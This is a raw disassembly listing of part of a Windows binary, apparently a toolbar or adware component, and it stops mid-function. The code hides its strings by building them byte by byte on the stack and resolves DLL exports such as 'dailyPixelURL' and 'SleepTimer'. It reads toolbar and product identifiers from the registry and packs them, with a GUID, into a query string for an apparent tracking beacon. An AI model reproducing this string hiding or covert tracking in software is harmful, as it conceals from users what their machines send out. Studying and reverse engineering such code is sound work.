lea rcx, [rsp + 0x198]
call fcn.14001ac20
nop
lea r9, [rsp + 0x198]
lea r8, [rsp + 0xe78]
lea rdx, [rsp + 0x810]
lea rcx, [rsp + 0x620]
call fcn.14001b5c0
nop
lea rcx, [rsp + 0x198]
call fcn.14001adb0
cmp byte [rsp + 0x818], 4
jne 0x14000579d
lea rdx, [rsp + 0x590]
lea rcx, [rsp + 0x810]
call fcn.14001af50
nop
cmp qword [rax + 0x18], r14
jb 0x140005781
mov rax, qword [rax]
mov rcx, rax
call r12
nop
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rsp + 0x590]
call fcn.14000cb94
nop
lea rcx, [rsp + 0x810]
call fcn.14001adb0
mov dword [rsp + 0xcd8], 0x650051
mov dword [rsp + 0xcdc], 0x6a0065
mov dword [rsp + 0xce0], 0x640079
mov dword [rsp + 0xce4], 0x6b0061
mov dword [rsp + 0xce8], 0x340036
mov word [rsp + 0xcec], bx
lea rdx, [rsp + 0xcd8]
mov rcx, rsi
call fcn.140007870
mov qword [rsi + 0x4e0], rax
test rax, rax
je 0x14000714f
mov dword [rsp + 0xbe8], 0x5f746553
mov dword [rsp + 0xbec], 0x6e69616d
mov dword [rsp + 0xbf0], 0x68746150
mov byte [rsp + 0xbf4], bl
lea rdx, [rsp + 0xbe8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
mov dword [rsp + 0xc38], 0x5f746553
mov dword [rsp + 0xc3c], 0x6e69616d
mov dword [rsp + 0xc40], 0x68746150
mov word [rsp + 0xc44], 0x4449
mov byte [rsp + 0xc46], bl
lea rdx, [rsp + 0xc38]
mov rcx, qword [rsi + 0x4e0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xb78], rax
movdqa xmm0, xmmword [0x140048ad0]
movdqu xmmword [rsp + 0xf38], xmm0
mov dword [rsp + 0xf48], 0x6d6172
lea rdx, [rsp + 0xf38]
mov rcx, qword [rsi + 0x4e0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
movdqa xmm0, xmmword [0x140048ac0]
movdqu xmmword [rsp + 0xf50], xmm0
mov word [rsp + 0xf60], 0x656d
mov byte [rsp + 0xf62], bl
lea rdx, [rsp + 0xf50]
mov rcx, qword [rsi + 0x4e0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x5f0], rax
movdqa xmm0, xmmword [0x140048b60]
movdqu xmmword [rsp + 0xea8], xmm0
mov dword [rsp + 0xeb8], 0x656d614e
mov byte [rsp + 0xebc], bl
lea rdx, [rsp + 0xea8]
mov rcx, qword [rsi + 0x4e0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xb40], rax
movdqa xmm0, xmmword [0x140048af0]
movdqu xmmword [rsp + 0xdf0], xmm0
mov dword [rsp + 0xe00], 0x6c756166
mov dword [rsp + 0xe04], 0x6c615674
mov word [rsp + 0xe08], 0x6575
mov byte [rsp + 0xe0a], bl
lea rdx, [rsp + 0xdf0]
mov rcx, qword [rsi + 0x4e0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xb48], rax
mov dword [rsp + 0xbc8], 0x65656c53
mov dword [rsp + 0xbcc], 0x6d695470
mov word [rsp + 0xbd0], 0x7265
mov byte [rsp + 0xbd2], bl
lea rdx, [rsp + 0xbc8]
mov rcx, qword [rsi + 0x4e0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xb50], rax
movdqa xmm0, xmmword [0x140048a60]
movdqu xmmword [rsp + 0xfc8], xmm0
mov byte [rsp + 0xfd8], bl
lea rdx, [rsp + 0xfc8]
mov rcx, qword [rsi + 0x4e0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xb80], rax
movdqa xmm0, xmmword [0x140048a90]
movdqu xmmword [rsp + 0xfb0], xmm0
mov word [rsp + 0xfc0], 0x4c
lea rdx, [rsp + 0xfb0]
mov rcx, qword [rsi + 0x4e0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x618], rax
movdqa xmm0, xmmword [0x140048b30]
movdqu xmmword [rsp + 0xf98], xmm0
mov word [rsp + 0xfa8], 0x6c
lea rdx, [rsp + 0xf98]
mov rcx, qword [rsi + 0x4e0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movdqa xmm0, xmmword [str.Lock_dailyPixel]
movdqu xmmword [rsp + 0x1058], xmm0
lea rdx, [rsp + 0x1058]
mov rcx, qword [rsi + 0x4e0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test r15, r15
je 0x1400061bb
mov dword [rsp + 0xc18], 0x6e69616d
mov dword [rsp + 0xc1c], 0x68746150
mov dword [rsp + 0xc20], 0x65736552
mov word [rsp + 0xc24], 0x74
xor eax, eax
mov qword [rsp + 0x780], rax
mov qword [rsp + 0x788], rax
mov qword [rsp + 0x790], rax
mov rdx, r13
lea rcx, [rsp + 0x1b0]
call fcn.14001ac20
nop
lea r9, [rsp + 0x1b0]
lea r8, [rsp + 0xc18]
lea rdx, [rsp + 0x780]
lea rcx, [rsp + 0x620]
call fcn.14001b5c0
nop
lea rcx, [rsp + 0x1b0]
call fcn.14001adb0
cmp byte [rsp + 0x788], 4
jne 0x1400061a5
lea rdx, [0x1400462cc]
lea rcx, [rsp + 0x668]
call fcn.1400092bc
nop
lea rdx, [rsi + 0x524]
lea r8, [rsp + 0x5f8]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x1400060dd
mov dword [rsp + 0x2890], 0x6c6f6f54
mov dword [rsp + 0x2894], 0x49726162
mov word [rsp + 0x2898], 0x44
mov byte [rsp + 0x289a], bl
xor edx, edx
mov r8d, 0x3f5
lea rcx, [rsp + 0x289b]
call fcn.1400221f0
mov dword [rsp + 0x2490], 0x6e616863
mov dword [rsp + 0x2494], 0x5f6c656e
mov dword [rsp + 0x2498], 0x6469
xor edx, edx
mov r8d, 0x3f4
lea rcx, [rsp + 0x249c]
call fcn.1400221f0
mov dword [rsp + 0x1090], 0x646f7270
mov dword [rsp + 0x1094], 0x5f746375
mov dword [rsp + 0x1098], 0x656d616e
mov word [rsp + 0x109c], 0
xor edx, edx
mov r8d, 0x3f2
lea rcx, [rsp + 0x109e]
call fcn.1400221f0
mov dword [rsp + 0x1890], 0x74736e69
mov dword [rsp + 0x1894], 0x5f6c6c61
mov dword [rsp + 0x1898], 0x656d6974
mov word [rsp + 0x189c], 0
xor edx, edx
mov r8d, 0x3f2
lea rcx, [rsp + 0x189e]
call fcn.1400221f0
movdqa xmm0, xmmword [str.product_version]
movdqa xmmword [rsp + 0x5290], xmm0
mov byte [rsp + 0x52a0], bl
xor edx, edx
mov r8d, 0x3ef
lea rcx, [rsp + 0x52a1]
call fcn.1400221f0
mov byte [rsp + 0x3290], bl
xor edx, edx
mov r8d, 0xfff
lea rcx, [rsp + 0x3291]
call fcn.1400221f0
mov dword [rsp + 0x610], 0x1000
lea rax, [rsp + 0x610]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x3290]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x2890]
mov rcx, qword [rsp + 0x5f8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140005d91
mov dword [rsp + 0xb30], 0x64696274
mov word [rsp + 0xb34], 0x3d
lea rcx, [rsp + 0xb30]
call fcn.140022090
mov r8, rax
lea rdx, [rsp + 0xb30]
lea rcx, [rsp + 0x668]
call fcn.140009430
cmp byte [rsp + 0x3290], bl
jne 0x140005d48
mov rax, rbx
jmp 0x140005d55
lea rcx, [rsp + 0x3290]
call fcn.140022090
mov r8, rax
lea rdx, [rsp + 0x3290]
lea rcx, [rsp + 0x668]
call fcn.140009430
lea rbx, [0x1400462d0]
mov rcx, rbx
call fcn.140022090
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x668]
call fcn.140009430
jmp 0x140005d98
lea rbx, [0x1400462d0]
mov dword [rsp + 0x610], 0x1000
lea rax, [rsp + 0x610]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x3290]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x2490]
mov rcx, qword [rsp + 0x5f8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140005e66
mov dword [rsp + 0xb38], 0x6c6e6863
mov word [rsp + 0xb3c], 0x3d
lea rcx, [rsp + 0xb38]
call fcn.140022090
mov r8, rax
lea rdx, [rsp + 0xb38]
lea rcx, [rsp + 0x668]
call fcn.140009430
xor eax, eax
cmp byte [rsp + 0x3290], al
je 0x140005e33
lea rcx, [rsp + 0x3290]
call fcn.140022090
mov r8, rax
lea rdx, [rsp + 0x3290]
lea rcx, [rsp + 0x668]
call fcn.140009430
mov rcx, rbx
call fcn.140022090
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x668]
call fcn.140009430
mov dword [rsp + 0x610], 0x1000
lea rax, [rsp + 0x610]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x3290]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x1090]
mov rcx, qword [rsp + 0x5f8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
xor ecx, ecx
test eax, eax
jne 0x140005f33
mov dword [rsp + 0xb28], 0x3d647270
mov byte [rsp + 0xb2c], cl
lea rcx, [rsp + 0xb28]
call fcn.140022090
mov r8, rax
lea rdx, [rsp + 0xb28]
lea rcx, [rsp + 0x668]
call fcn.140009430
xor eax, eax
cmp byte [rsp + 0x3290], al
je 0x140005f00
lea rcx, [rsp + 0x3290]
call fcn.140022090
mov r8, rax
lea rdx, [rsp + 0x3290]
lea rcx, [rsp + 0x668]
call fcn.140009430
mov rcx, rbx
call fcn.140022090
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x668]
call fcn.140009430
mov dword [rsp + 0x610], 0x1000
lea rax, [rsp + 0x610]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x3290]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x1890]
mov rcx, qword [rsp + 0x5f8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
xor ecx, ecx
test eax, eax
jne 0x140006000
mov dword [rsp + 0xb20], 0x3d646e69
mov byte [rsp + 0xb24], cl
lea rcx, [rsp + 0xb20]
call fcn.140022090
mov r8, rax
lea rdx, [rsp + 0xb20]
lea rcx, [rsp + 0x668]
call fcn.140009430
xor eax, eax
cmp byte [rsp + 0x3290], al
je 0x140005fcd
lea rcx, [rsp + 0x3290]
call fcn.140022090
mov r8, rax
lea rdx, [rsp + 0x3290]
lea rcx, [rsp + 0x668]
call fcn.140009430
mov rcx, rbx
call fcn.140022090
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x668]
call fcn.140009430
mov dword [rsp + 0x610], 0x1000
lea rax, [rsp + 0x610]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x3290]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x5290]
mov rcx, qword [rsp + 0x5f8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
xor ecx, ecx
test eax, eax
jne 0x1400060cd
mov dword [rsp + 0xb18], 0x3d726576
mov byte [rsp + 0xb1c], cl
lea rcx, [rsp + 0xb18]
call fcn.140022090
mov r8, rax
lea rdx, [rsp + 0xb18]
lea rcx, [rsp + 0x668]
call fcn.140009430
xor eax, eax
cmp byte [rsp + 0x3290], al
je 0x14000609a
lea rcx, [rsp + 0x3290]
call fcn.140022090
mov r8, rax
lea rdx, [rsp + 0x3290]
lea rcx, [rsp + 0x668]
call fcn.140009430
mov rcx, rbx
call fcn.140022090
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x668]
call fcn.140009430
mov rcx, qword [rsp + 0x5f8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1400060e4
lea rbx, [0x1400462d0]
mov dword [rsp + 0xb10], 0x3d767264
mov word [rsp + 0xb14], 0x30
lea rdx, [rsp + 0x8f0]
lea rcx, [rsp + 0x780]
call fcn.14001af50
nop
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rsp + 0x668]
lea rcx, [rsp + 0x8f0]
call fcn.14000c844
xor eax, eax
cmp byte [rsp + 0xb10], al
je 0x140006143
lea rcx, [rsp + 0xb10]
call fcn.140022090
mov r8, rax
lea rdx, [rsp + 0xb10]
lea rcx, [rsp + 0x8f0]
call fcn.140009430
lea rcx, [rsp + 0x8f0]
cmp qword [rsp + 0x908], r14
cmovae rcx, qword [rsp + 0x8f0]
call r15
nop
xor r8d, r8d
lea r15d, [r8 + 1]
mov dl, r15b
lea rcx, [rsp + 0x8f0]
call fcn.14000cb94
nop
xor r8d, r8d
mov dl, r15b
lea rcx, [rsp + 0x668]
call fcn.14000cb94
jmp 0x1400061ac
lea rbx, [0x1400462d0]
lea rcx, [rsp + 0x780]
call fcn.14001adb0
jmp 0x1400061c2
lea rbx, [0x1400462d0]
xor eax, eax
test r12, r12
je 0x14000628c
movdqa xmm0, xmmword [str.localStoreParam]
movdqu xmmword [rsp + 0x1068], xmm0
mov qword [rsp + 0x708], rax
mov qword [rsp + 0x710], rax
mov qword [rsp + 0x718], rax
mov rdx, r13
lea rcx, [rsp + 0x1e0]
call fcn.14001ac20
nop
lea r9, [rsp + 0x1e0]
lea r8, [rsp + 0x1068]
lea rdx, [rsp + 0x708]
lea rcx, [rsp + 0x620]
call fcn.14001b5c0
nop
lea rcx, [rsp + 0x1e0]
call fcn.14001adb0
cmp byte [rsp + 0x710], 4
jne 0x14000627f
lea rdx, [rsp + 0x510]
lea rcx, [rsp + 0x708]
call fcn.14001af50
nop
cmp qword [rax + 0x18], r14
jb 0x140006263
mov rax, qword [rax]
mov rcx, rax
call r12
nop
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rsp + 0x510]
call fcn.14000cb94
nop
lea rcx, [rsp + 0x708]
call fcn.14001adb0
mov r15, qword [rsp + 0x5f0]
xor r12d, r12d
test r15, r15
je 0x140006383
mov dword [rsp + 0xc68], 0x65656c73
mov dword [rsp + 0xc6c], 0x72615070
mov dword [rsp + 0xc70], 0x614e6d61
mov word [rsp + 0xc74], 0x656d
mov byte [rsp + 0xc76], r12b
xor eax, eax
mov qword [rsp + 0x768], rax
mov qword [rsp + 0x770], rax
mov qword [rsp + 0x778], rax
mov rdx, r13
lea rcx, [rsp + 0x210]
call fcn.14001ac20
nop
lea r9, [rsp + 0x210]
lea r8, [rsp + 0xc68]
lea rdx, [rsp + 0x768]
lea rcx, [rsp + 0x620]
call fcn.14001b5c0
nop
lea rcx, [rsp + 0x210]
call fcn.14001adb0
cmp byte [rsp + 0x770], 4
jne 0x140006376
lea rdx, [rsp + 0x450]
lea rcx, [rsp + 0x768]
call fcn.14001af50
nop
cmp qword [rax + 0x18], r14
jb 0x14000635a
mov rax, qword [rax]
mov rcx, rax
call r15
nop
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rsp + 0x450]
call fcn.14000cb94
nop
lea rcx, [rsp + 0x768]
call fcn.14001adb0
mov r15, qword [rsp + 0xb40]
test r15, r15
je 0x14000645d
movdqa xmm0, xmmword [0x140048b20]
movdqu xmmword [rsp + 0xfe0], xmm0
mov byte [rsp + 0xff0], r12b
xor eax, eax
mov qword [rsp + 0x7c8], rax
mov qword [rsp + 0x7d0], rax
mov qword [rsp + 0x7d8], rax
mov rdx, r13
lea rcx, [rsp + 0x180]
call fcn.14001ac20
nop
lea r9, [rsp + 0x180]
lea r8, [rsp + 0xfe0]
lea rdx, [rsp + 0x7c8]
lea rcx, [rsp + 0x620]
call fcn.14001b5c0
nop
lea rcx, [rsp + 0x180]
call fcn.14001adb0
cmp byte [rsp + 0x7d0], 4
jne 0x140006450
lea rdx, [rsp + 0x470]
lea rcx, [rsp + 0x7c8]
call fcn.14001af50
nop
cmp qword [rax + 0x18], r14
jb 0x140006434
mov rax, qword [rax]
mov rcx, rax
call r15
nop
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rsp + 0x470]
call fcn.14000cb94
nop
lea rcx, [rsp + 0x7c8]
call fcn.14001adb0
mov r15, qword [rsp + 0xb48]
test r15, r15
je 0x14000654c
movdqa xmm0, xmmword [0x140048b50]
movdqu xmmword [rsp + 0xe60], xmm0
mov dword [rsp + 0xe70], 0x6c615674
mov word [rsp + 0xe74], 0x6575
mov byte [rsp + 0xe76], r12b
xor eax, eax
mov qword [rsp + 0x750], rax
mov qword [rsp + 0x758], rax
mov qword [rsp + 0x760], rax
mov rdx, r13
lea rcx, [rsp + 0x270]
call fcn.14001ac20
nop
lea r9, [rsp + 0x270]
lea r8, [rsp + 0xe60]
lea rdx, [rsp + 0x750]
lea rcx, [rsp + 0x620]
call fcn.14001b5c0
nop
lea rcx, [rsp + 0x270]
call fcn.14001adb0
cmp byte [rsp + 0x758], 4
jne 0x14000653f
lea rdx, [rsp + 0x4b0]
lea rcx, [rsp + 0x750]
call fcn.14001af50
nop
cmp qword [rax + 0x18], r14
jb 0x140006523
mov rax, qword [rax]
mov rcx, rax
call r15
nop
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rsp + 0x4b0]
call fcn.14000cb94
nop
lea rcx, [rsp + 0x750]
call fcn.14001adb0
mov r15, qword [rsp + 0xb78]
test r15, r15
je 0x140006635
mov dword [rsp + 0xbb8], 0x6e69616d
mov dword [rsp + 0xbbc], 0x68746150
mov word [rsp + 0xbc0], 0x4449
mov byte [rsp + 0xbc2], r12b
xor eax, eax
mov qword [rsp + 0x828], rax
mov qword [rsp + 0x830], rax
mov qword [rsp + 0x838], rax
mov rdx, r13
lea rcx, [rsp + 0x110]
call fcn.14001ac20
nop
lea r9, [rsp + 0x110]
lea r8, [rsp + 0xbb8]
lea rdx, [rsp + 0x828]
lea rcx, [rsp + 0x620]
call fcn.14001b5c0
nop
lea rcx, [rsp + 0x110]
call fcn.14001adb0
cmp byte [rsp + 0x830], 4
jne 0x140006628
lea rdx, [rsp + 0x4f0]
lea rcx, [rsp + 0x828]
call fcn.14001af50
nop
cmp qword [rax + 0x18], r14
jb 0x14000660c
mov rax, qword [rax]
mov rcx, rax
call r15
nop
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rsp + 0x4f0]
call fcn.14000cb94
nop
lea rcx, [rsp + 0x828]
call fcn.14001adb0
mov r15, qword [rsp + 0xb80]
test r15, r15
je 0x14000671f
mov dword [rsp + 0xbf8], 0x6c696164
mov dword [rsp + 0xbfc], 0x78695079
mov dword [rsp + 0xc00], 0x44496c65
mov byte [rsp + 0xc04], r12b
xor eax, eax
mov qword [rsp + 0x720], rax
mov qword [rsp + 0x728], rax
mov qword [rsp + 0x730], rax
mov rdx, r13
lea rcx, [rsp + 0x2a0]
call fcn.14001ac20
nop
lea r9, [rsp + 0x2a0]
lea r8, [rsp + 0xbf8]
lea rdx, [rsp + 0x720]
lea rcx, [rsp + 0x620]
call fcn.14001b5c0
nop
lea rcx, [rsp + 0x2a0]
call fcn.14001adb0
cmp byte [rsp + 0x728], 4
jne 0x140006712
lea rdx, [rsp + 0x530]
lea rcx, [rsp + 0x720]
call fcn.14001af50
nop
cmp qword [rax + 0x18], r14
jb 0x1400066f6
mov rax, qword [rax]
mov rcx, rax
call r15
nop
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rsp + 0x530]
call fcn.14000cb94
nop
lea rcx, [rsp + 0x720]
call fcn.14001adb0
mov r12, qword [rsp + 0x618]
xor r15d, r15d
test r12, r12
je 0x140006f83
mov dword [rsp + 0xc28], 0x6c696164
mov dword [rsp + 0xc2c], 0x78695079
mov dword [rsp + 0xc30], 0x52556c65
mov word [rsp + 0xc34], 0x4c
xor eax, eax
mov qword [rsp + 0x738], rax
mov qword [rsp + 0x740], rax
mov qword [rsp + 0x748], rax
mov rdx, r13
lea rcx, [rsp + 0x2d0]
call fcn.14001ac20
nop
lea r9, [rsp + 0x2d0]
lea r8, [rsp + 0xc28]
lea rdx, [rsp + 0x738]
lea rcx, [rsp + 0x620]
call fcn.14001b5c0
nop
lea rcx, [rsp + 0x2d0]
call fcn.14001adb0
cmp byte [rsp + 0x740], 4
jne 0x140006f76
lea rcx, [rsp + 0x930]
call qword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
js 0x140006f76
mov word [rsp + 0x3090], r15w
xor edx, edx
mov r8d, 0x1fe
lea rcx, [rsp + 0x3092]
call fcn.1400221f0
mov r8d, pe_nt_image_headers64
lea rdx, [rsp + 0x3090]
lea rcx, [rsp + 0x930]
call qword [sym.imp.ole32.dll_StringFromGUID2]
test eax, eax
je 0x140006f76
lea rdx, [rsp + 0x3090]
lea rcx, [rsp + 0x330]
call fcn.140009b80
nop
lea r8, [rsp + 0x330]
lea rdx, [rsp + 0x6a8]
call fcn.140008078
nop
xor r8d, r8d
lea edx, [r15 + 1]
lea rcx, [rsp + 0x330]
call fcn.14000cea4
lea r8, [rsp + 0x6a8]
mov r11, qword [rsp + 0x6a8]
mov r15, qword [rsp + 0x6c0]
cmp r15, r14
cmovae r8, r11
mov rcx, qword [rsp + 0x6b8]
add r8, rcx
lea rax, [rsp + 0x6a8]
cmp r15, r14
cmovae rax, r11
add rcx, rax
lea rax, [rsp + 0x6a8]
cmp r15, r14
cmovae rax, r11
cmp rax, rcx
je 0x140006926
mov r10d, 1
mov dl, byte [rax]
sub dl, 0x7b
test dl, 0xfd
je 0x1400068cc
add rax, r10
cmp rax, rcx
je 0x140006926
jmp 0x1400068b8
cmp rax, rcx
je 0x140006926
lea r9, [rax + 1]
mov r10, rcx
sub r10, r9
cmp r9, rcx
mov ecx, 0
cmova r10, rcx
test r10, r10
je 0x140006926
mov rdx, r9
sub rdx, rax
lea r15d, [rcx + 1]
sub rdx, r15
mov r11b, byte [r9]
lea ecx, [r11 - 0x7b]
test cl, 0xfd
je 0x14000690b
mov byte [rax], r11b
add rax, r15
add r9, r15
add rdx, r15
cmp rdx, r10
jne 0x1400068f9
mov r15, qword [rsp + 0x6c0]
mov r11, qword [rsp + 0x6a8]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x6a8]
cmp r15, r14
cmovae rcx, r11
xor r15d, r15d
test rax, rax
jne 0x140006947
mov edx, r15d
jmp 0x14000694d
mov rdx, rax
sub rdx, rcx
test r8, r8
jne 0x140006957
mov r8, r15
jmp 0x14000695a
sub r8, rax
lea rcx, [rsp + 0x6a8]
call fcn.1400095ec
movdqa xmm0, xmmword [0x140048ba0]
movdqu xmmword [rsp + 0xff8], xmm0
movdqa xmm1, xmmword [0x140048bb0]
movdqu xmmword [rsp + 0x1008], xmm1
mov word [rsp + 0x1018], 0x3d64
mov byte [rsp + 0x101a], r15b
lea r8, [rsp + 0x6a8]
lea rdx, [rsp + 0xff8]
lea rcx, [rsp + 0x570]
call fcn.14000f0f4
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x688]
call fcn.14000f1cc
nop
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rsp + 0x570]
call fcn.14000cb94
lea rdx, [rsi + 0x524]
lea r8, [rsp + 0x5f0]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x140006eea
mov dword [rsp + 0x2c90], 0x6c6f6f54
mov dword [rsp + 0x2c94], 0x49726162
mov word [rsp + 0x2c98], 0x44
mov byte [rsp + 0x2c9a], r15b
xor edx, edx
mov r8d, 0x3f5
lea rcx, [rsp + 0x2c9b]
call fcn.1400221f0
mov dword [rsp + 0x2090], 0x6e616863
mov dword [rsp + 0x2094], 0x5f6c656e
mov dword [rsp + 0x2098], 0x6469
xor edx, edx
mov r8d, 0x3f4
lea rcx, [rsp + 0x209c]
call fcn.1400221f0
mov dword [rsp + 0x1490], 0x646f7270
mov dword [rsp + 0x1494], 0x5f746375
mov dword [rsp + 0x1498], 0x656d616e
mov word [rsp + 0x149c], r15w
xor edx, edx
mov r8d, 0x3f2
lea rcx, [rsp + 0x149e]
call fcn.1400221f0
mov dword [rsp + 0x1c90], 0x74736e69
mov dword [rsp + 0x1c94], 0x5f6c6c61
mov dword [rsp + 0x1c98], 0x656d6974
mov word [rsp + 0x1c9c], r15w
xor edx, edx
mov r8d, 0x3f2
lea rcx, [rsp + 0x1c9e]
call fcn.1400221f0
movdqa xmm0, xmmword [str.product_version]
movdqa xmmword [rsp + 0x5690], xmm0
mov byte [rsp + 0x56a0], r15b
xor edx, edx
mov r8d, 0x3ef
lea rcx, [rsp + 0x56a1]
call fcn.1400221f0
mov byte [rsp + 0x4290], r15b
xor edx, edx
mov r8d, 0xfff
lea rcx, [rsp + 0x4291]
call fcn.1400221f0
mov r15d, 0x1000
mov dword [rsp + 0x618], r15d
lea rax, [rsp + 0x618]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x4290]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x2c90]
mov rcx, qword [rsp + 0x5f0]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140006c12
mov dword [rsp + 0xb48], 0x64696274
mov word [rsp + 0xb4c], 0x3d
lea rcx, [rsp + 0xb48]
call fcn.140022090
mov r8, rax
lea rdx, [rsp + 0xb48]
lea rcx, [rsp + 0x688]
call fcn.140009430
xor eax, eax
cmp byte [rsp + 0x4290], al
je 0x140006bdf
lea rcx, [rsp + 0x4290]
call fcn.140022090
mov r8, rax
lea rdx, [rsp + 0x4290]
lea rcx, [rsp + 0x688]
call fcn.140009430
mov rcx, rbx
call fcn.140022090
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x688]
call fcn.140009430
mov dword [rsp + 0x618], r15d
lea rax, [rsp + 0x618]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x4290]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x2090]
mov rcx, qword [rsp + 0x5f0]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140006cdd
mov dword [rsp + 0xb40], 0x6c6e6863
mov word [rsp + 0xb44], 0x3d
lea rcx, [rsp + 0xb40]
call fcn.140022090
mov r8, rax
lea rdx, [rsp + 0xb40]
lea rcx, [rsp + 0x688]
call fcn.140009430
xor eax, eax
cmp byte [rsp + 0x4290], al
je 0x140006caa
lea rcx, [rsp + 0x4290]
call fcn.140022090
mov r8, rax
lea rdx, [rsp + 0x4290]
lea rcx, [rsp + 0x688]
call fcn.140009430
mov rcx, rbx
call fcn.140022090
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x688]
call fcn.140009430
mov dword [rsp + 0x618], r15d
lea rax, [rsp + 0x618]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x4290]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x1490]
mov rcx, qword [rsp + 0x5f0]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140006d65
mov dword [rsp + 0xb68], 0x3d647270
mov dword [rsp + 0xb6c], 0x74616276
mov dword [rsp + 0xb70], 0x267365
lea rcx, [rsp + 0xb68]
call fcn.140022090
mov r8, rax
lea rdx, [rsp + 0xb68]
lea rcx, [rsp + 0x688]
call fcn.140009430
mov dword [rsp + 0x618], r15d
lea rax, [rsp + 0x618]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x4290]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x1c90]
mov rcx, qword [rsp + 0x5f0]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
xor ecx, ecx
test eax, eax
jne 0x140006e2f
mov dword [rsp + 0xb80], 0x3d646e69
mov byte [rsp + 0xb84], cl
lea rcx, [rsp + 0xb80]
call fcn.140022090
mov r8, rax
lea rdx, [rsp + 0xb80]
lea rcx, [rsp + 0x688]
call fcn.140009430
xor eax, eax
cmp byte [rsp + 0x4290], al
je 0x140006dfc
lea rcx, [rsp + 0x4290]
call fcn.140022090
mov r8, rax
lea rdx, [rsp + 0x4290]
lea rcx, [rsp + 0x688]
call fcn.140009430
mov rcx, rbx
call fcn.140022090
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x688]
call fcn.140009430
mov dword [rsp + 0x618], r15d
lea rax, [rsp + 0x618]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x4290]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x5690]
mov rcx, qword [rsp + 0x5f0]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
xor ebx, ebx
test eax, eax
jne 0x140006edc
mov dword [rsp + 0xb78], 0x3d726576
mov byte [rsp + 0xb7c], bl
lea rcx, [rsp + 0xb78]
call fcn.140022090
mov r8, rax
lea rdx, [rsp + 0xb78]
lea rcx, [rsp + 0x688]
call fcn.140009430
cmp byte [rsp + 0x4290], bl
jne 0x140006eb7
mov eax, ebx
jmp 0x140006ec4
lea rcx, [rsp + 0x4290]
call fcn.140022090
mov r8, rax
lea rdx, [rsp + 0x4290]
lea rcx, [rsp + 0x688]
call fcn.140009430
mov rcx, qword [rsp + 0x5f0]
